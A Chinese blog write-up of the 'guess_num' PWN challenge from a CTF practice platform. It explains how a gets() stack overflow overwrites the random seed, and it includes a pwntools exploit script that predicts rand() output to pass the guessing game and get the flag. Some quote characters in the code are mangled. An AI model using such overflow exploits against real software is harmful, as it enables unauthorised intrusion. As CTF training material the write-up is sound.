guess-num的wp

攻防世界PWN

guess nun的wp

基本三步

checksec,file,执行文件
在这里插入图片描述
发现是个64位文件,且只有RELRO没开( 出现Permission denied报错时,用chmod去修改文件权限,就可以了)
放进IDA中,在各函数中寻找
在函数sub_C3E中找到了
在这里插入图片描述
再进入main函数中怎样获得flag,上网找了一下srand和rand的含义
srand函数是随机数发生器的初始化函数。
srand和rand()配合使用产生伪随机数序列。
所以要通过给srand设置为0或1,
来保证生成的随机数是相同随机数序列。
有兴趣的可以看一下这位大佬的博客
https://blog.csdn.net/linxi8693/article/details/90712828
在这里插入图片描述
简单看了一下函数,可以发现,只要猜中9次数字就可以运行函数,
(如果有人运气好到能连续猜中9次数字,不用做题目,运行一下程序可以直接获得flag),当然我是个非酋,就只能仔细思考一下了。
我发现可以利用gets存在栈溢出,然后查看一下V8的地址
在这里插入图片描述
即利用v8去覆盖seed[0],使seed[0]已知,然后不管怎么循环,都可以猜中数字,就拿到flag了(var_30才是V8的地址,而不是var_8)
0x30-0x10=32=0x20
之后就可以通过写一个for循环来使猜的数字能对得上程序中的数字
因为要使用srand和rand函数所以要用是 Linux 下的 ANSI C 函数库libc。

EXP

from pwn import *
#用python标准库中自带的ctypes模块进行python和c的混合编程
from ctypes import *
r= process(’./num’)
#与checksec一样的作用
elf = ELF(’./num’)
因为题目没有提供libc库,因此需要使用ldd查找
在这里插入图片描述

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = b’a’ * 0x20 + p64(1)
r.recvuntil(‘Your name:’)
r.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
r.recvuntil(‘number:’)
r.sendline(num)
r.interactive()
得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值